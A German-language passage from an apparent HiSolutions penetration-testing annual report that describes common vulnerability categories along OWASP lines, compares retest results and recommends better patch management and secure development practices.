Alles in allem ist eine Abnahme der Kritikalität von ursprünglichem Penetrations- zu Nachtest zu erkennen. Insbesondere sicherheitskritische Fehlkonfigurationen und Fehler bei der Zugriffskontrolle wurden häufig vollständig beseitig, da dies in vielen Fällen mit geringem Aufwand möglich ist. Dahingegen kam die Preisgabe sensibler Informationen auch in vielen Nachtests weiterhin zum Tragen. Allgemein kann beobachtet werden, dass ein Befund eher behoben oder zumindest teilweise behoben wurde, je höher seine Kritikalität eingestuft war.

Insgesamt wurde gut die Hälfte aller Sicherheitsmängel bis zum Nachtest komplett beseitigt. Die Anzahl der kritischen und schweren Befunde reduzierte sich auf weniger als ein Dritter der ursprünglichen Befunde. Es lässt sich also bestätigen, dass mit Hilfe von Penetrationstest die Sicherheitseigenschaften einer Systemlandschaft deutlich verbessert werden können. Zu beachten bleibt jedoch, dass knapp die Hälfte der entdeckten Sicherheitslücken bis zum Nachtest nicht befriedigend geschlossen wurde. Dies zeigt, dass in einigen Fällen die Risiken der durch den Penetrationstest offengelegten Schwachstellen ernster genommen werden müssen und schneller reagiert werden muss.

Abbildung 5: Kritikalität von Penetrationstest zu Nachtest

Injection (OWASP A1)

Ähnlich wie bei Cross-Site-Scripting-Angriffen bringt bei der Injection ein Angreifer eigenen Programmcode in eine Anwendung ein, der hier jedoch auf der Serverseite ausgeführt wird und dadurch ein besonders hohes Schadenspotenzial hat. Der nach wie vor überwiegende Anteil besteht dabei in SQL-Injections, bei denen der Angreifer Datenbankabfragen der Anwendung manipuliert und sich so unbefugten Zugriff auf Daten und Funktionen verschafft.

Broken Authentication (OWASP A2)

In diese Kategorie fallen Fehler, die mit fehlerhafter Authentifizierung oder Sitzungsverwaltung zusammenhängen. Durch diese wird es Angreifern erlaubt Passwörter, Schlüssel oder Sitzungs-Tokens zu kompromittieren oder auf andere Weise temporär oder permanent eine falsche Identität anzunehmen. In den letzten Jahren konnten über 30 verschiedene Arten von Einzelbefunden identifizieren können. Besonders schwerwiegend sind Session-Tokens in URLs, Session-Fixation-Angriffe sowie in bestimmten Fällen mangelhaft geschützte Session-Cookies, unsichere SSH-Schlüssel, zu wenig Entropie in Session-IDs oder in Einzelfällen Logins mit Default-Credentials oder gar ohne jede Zugangskontrolle.

Sensitive Data Exposure (OWASP A3)

Unter diese Kategorie fallen alle Schwachstellen, die zu einem mangelhaften Schutz sensibler Daten führen. Dazu gehören neben einer fehlerhaften Konfiguration der Transportsicherheit (SSL) auch ein mangelhafter Schutz von Passwörtern und anderen sensiblen Daten durch eine fehlende Verschlüsselung oder den Einsatz veralteter Verschlüsselungsverfahren. Gerade die Anwendung kryptografischer Algorithmen hält viele Fallstricke bereit, die von Angreifern ausgenutzt werden können. Allerdings sind solche Schwachstellen nur selten als kritisch zu bewerten, da sie zumeist nur unter bestimmten Umständen oder mit einem erheblichen Aufwand ausnutzbar sind.

Broken Access Control (OWASP A5)

Fehler dieser Kategorie entstehen, falls Restriktionen was authentifizierte Nutzer tun und nicht tun dürfen nicht korrekt umgesetzt werden. Angreifern ist es dadurch möglich auf unerlaubt auf Daten oder Funktionen zuzugreifen. So kann es ihnen möglich sein die Daten anderer Nutzer einzusehen oder zu verfälschen, andere sensible Dateien zu lesen oder Zugriffsrechte zu manipulieren.

Security Misconfiguration (OWASP A6)

Diese Kategorie umfasst alle Arten von Konfigurationseinstellungen, die zu Schwachstellen oder Angriffspunkten führen, und ist daher in sich sehr heterogen – wir haben über 60 ver­schiedene Arten von Befunden dieser Kategorie zugeordnet. Viele der Konfigurations­probleme führen jedoch auch nur zu geringen Risiken, so dass die meisten Einstufungen hier niedrig bis mittel ausgefallen sind. Kritisch sind lediglich bestimmte Fälle der Preisgabe von Informationen über technischen Konfigurationsdaten, Directory-Listings oder nicht gelöschte Beispiel- und Hilfedateien, die in den entsprechenden Fällen jeweils einen unmittelbaren Ansatzpunkt für Angriffe gegeben haben.

Cross-Site Scripting (OWASP A7)

Cross-Site-Scripting-Angriffe basieren auf dem Prinzip, dass der Angreifer in die Anwendung Programmcode einbringt, der auf dem Client eines Anwenders ungewollt zur Ausführung gelangt. Dabei handelt es sich meist um reflektiertes XSS (also dem Anwender über einen Link untergeschobenes), vereinzelt auch um persistentes XSS (dauerhaft in die Anwendung eingebrachten Schadcode).

Using Components with Known Vulnerabilities (OWASP A9)

Unter diese Kategorie fällt eine Vielzahl von Schwachstellen, die insbesondere aus einem mangelhaften Software- und Patchmanagement resultieren: Veraltete Software, vom Betriebssystem über die Anwendungsserver, Frameworks, die Anwendungssoftware und Erweiterungen oder Plug-Ins, kann eine Vielzahl von Schwachstellen beinhalten, die nach der Veröffentlichung leicht von Angreifern ausgenutzt werden können. Wird die Software nicht sorgfältig gepflegt, können schnell Lücken entstehen, die ein großes Schadenspotenzial beinhalten.

Insufficient Logging & Monitoring (OWASP A10)

Unzureichendes Logging und Monitoring verzögert die Entdeckung einer Kompromittierung. Durch die zusätzliche Zeit ist es Angreifern möglich weitere Systeme zu infizieren, mehr Daten zu sammeln oder zu manipulieren. Des Weiteren wird die Identifizierung des Einfallstores eines Angreifers sowie des Angreifers selbst erschwert.

Anwendung: Design-Fehler

Designfehler in Anwendungen sind zum Glück selten, dann aber oftmals gefährlich. Die Ausprägungen sind unterschiedlich, Beispiele sind Datenbankzugriff mit administrativen Rechten, Zulassen trivialer Passwörter, unnötige Exportfunktionen, unsichere Schnittstellen oder die ungewollte Preisgabe von Nutzerinformationen.

Anwendung: Implementierungs-Fehler

Wie bei der Vielzahl und Vielfalt existierender Anwendungen zu erwarten, bilden die hier zusammengefassten gut zwei Dutzend Schwachstellen einen bunten Strauß an Dingen, die bei der Implementierung von Anwendungen falsch gemacht oder vergessen wurden – über die von den OWASP-Kategorien bereits erfassten Fehlermöglichkeiten hinaus. Besonders kritische Fälle stehen oft im Zusammenhang mit mangelnder Rechteprüfung beim Lesen oder Schreiben sowie beim Upload von Dateien.

Ungeeignete Sicherheitsarchitektur

Relativ häufig sind wir in unseren Projekten auf Sicherheitsarchitekturen gestoßen, die ihre Schutzfunktion nicht erfüllen. Dies begründet sich manchmal in fehlenden Schutzmechanismen (Firewalls), z. T. jedoch auch in vorhandenen, aber in der vorliegenden Konfiguration nicht wirksamen Sicherheitssystemen. Dieser Effekt ist besonders bei sogenannten Web Application Firewalls (WAF) häufiger zu beobachten. Ebenfalls in diese Kategorie haben wir eine aus Sicherheitssicht unzureichende Trennung von Produktiv- und Testumgebungen gezählt.

Mangelnde Systempflege

Mangelnde Systempflege kann auf verschiedene Weisen zu Sicherheitsproblemen in einem IT-System führen. Die Kategorie wird daher für eine Vielzahl von Fehlerarten, welche sich nicht in die bestehenden Kategorien einordnen lassen, genutzt. Besonders häufig treten Mängel im Patch-Management auf. Diese können wiederum zu Fehlern der Kategorie „Using components with known vulnerabilities (OWASP A9)“ führen. Weitere häufige Fehler bestehen im Weiterbetrieb von ungenutzten Systemen, Test- und Beispielsystemen oder Systemen, welche nicht nach außen offen sein sollten oder abgelaufene Zertifikate besitzen. Ebenso kommen ungenutzte und undokumentierte Firewall-Regeln, fehlerhafte Systemzeiten und Login-Möglichkeiten mit Standard-Zugangsdaten vor.

Fazit

Im Jahr 2019 bestand weiterhin eine Vielzahl unterschiedlicher Sicherheitsprobleme in den von der HiSolutions überprüften IT-Systemen. Besonders die Zahl der fehlerhaften Konfigurationen und die Häufigkeit, mit der verwundbare Komponenten eingesetzt wurden, haben sich in diesem Jahr deutlich erhöht.  Abgenommen hat hingegen die Anzahl der Fehler, bei denen sensible Informationen preisgegeben wurden oder die Authentifizierung nicht korrekt funktionierte. Trotz dieser Abweichungen ergibt sich in Summe ein ähnliches Bild wie über die letzten Jahre.

Schwere und kritische Sicherheitslücken wurden im vergangenen Jahr nach leichtem Rückgang 2018 wieder häufiger festgestellt. Es gab keinen einzigen Penetrationstest, welcher keine Befunde hervorgebracht hat. Insgesamt besteht folglich kein Grund für Entwarnung. Ganz im Gegenteil besteht weiterhin akuter Handlungsbedarf beim Schutz von IT-Systemen.

Für die kommenden Jahre ergibt sich insbesondere die Notwendigkeit, den Entwicklungsprozess von Software weiter zu optimieren. Besonders schwerwiegende Probleme treten bei Fehlern in der Architektur oder im Design auf. Es ist daher dringend ratsam, IT-Sicherheitsexperten am Entwicklungsprozess zu beteiligen und möglichst früh in die Planung mit einzubeziehen. Um Implementierungsfehler zu reduzieren, können ein Secure Development Lifecycle, Entwicklertrainings und Source-Code-Reviews probate Mittel sein.

Mehr denn je bestehen die größten Herausforderungen in der korrekten Konfiguration und Wartung von Software. Insbesondere ist es für die kommenden Jahre für viele Unternehmen besonders drängend, das Patch-Management zu verbessern. Wird vermieden, dass Systeme hinter den aktuellen Stand der Entwicklung zurückfallen, können schwerwiegende Risiken durch öffentlich bekannte Schwachstellen verhindert werden.

Durch die Diversität der Probleme und den Varianten­reichtum der in der Praxis vorgefundenen Schwachstellen wird ein einfaches und schnelles Auffinden beispielsweise durch automatisierte Verfahren erschwert. Das Testen auf ausgewählte „Top-10“-Lücken erweist sich weiterhin als nicht hinreichend.

Welche Schwachstellen durch einen Penetrationstest aufgedeckt werden, hängt auch von der Art des Tests ab. Im vergangenen Jahr wurden durch die HiSolutions besonders häufig externe und Web-Penetrationstests durchgeführt. Die Auswertung zeigt jedoch, dass viele besonders schwerwiegende Sicherheitslücken erst aufgedeckt werden können, wenn dem Testteam mehr Zugangsrechte eingeräumt werden. Für viele Unternehmen kann es daher für die Zukunft sinnvoll sein, über eine externe Untersuchung der Systeme hinaus zu gehen und auch interne Strukturen prüfen zu lassen.

Der Bericht verdeutlicht, dass anhand von Penetrationstests viele Sicherheitsprobleme in IT-Infrastrukturen erkannt werden können, welche ohne externe Kontrolle (bis zu einem Angriff) verdeckt geblieben wären. In vielen Fällen wurde auf Befunde korrekt reagiert. So wurden insbesondere kritische und schwere Sicherheitslücken bis zu einem Nachtest drastisch reduziert. Insgesamt haben sich die Sicherheitseigenschaften der getesteten Systeme nach einem Penetrationstest unbestreitbar verbessert.

In anderen Nachtests wurde jedoch deutlich, dass Sicherheitslücken teilweise nicht adäquat geschlossen werden. Außerdem können sich die Sicherheitseigenschaften eines Systems über die Zeit verändern. Daher sehen wir wiederholte Penetrationstests mit wiederholter Überprüfung gefundener Sicherheitslücken und der zu ihrem Schließen eingesetzten Sicherheitsmaßnahmen als einen wichtigen Schritt zu mehr Sicherheit in IT-Systemen.

Kontakt: HiSolutions AG


[1] https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

[2] Schwachstellen oder Sicherheitslücken, welche mit der Kritikalität „hoch“ eingestuft wurden, werden im Folgenden häufig auch als „schwere Sicherheitslücken“ oder „Sicherheitslücken mit (potentiell) schweren Folgen“ bezeichnet.

[3] Differenzen zu Abbildung 1, in welcher kein einziger Penetrationstest ohne Befund zu verzeichnen ist, sind dadurch zu erklären, dass ein Penetrationstest aus mehreren Teilen bestehen kann und somit lediglich ein Teil des Tests ergebnislos geblieben sein kann.

[4] Da lediglich Befunde betrachtet werden, für welche ein Nachtest stattgefunden hat, können nur etwa 20% der Befunde verwendet werden. Es kann daher zu Abweichungen zu Abbildung 3 kommen, da für diese mehr Datenpunkte zur Verfügung stehen. Die Kategorie „Insufficient Logging & Monitoring (OWASP A10)“ wird mangels Daten nicht berücksichtigt.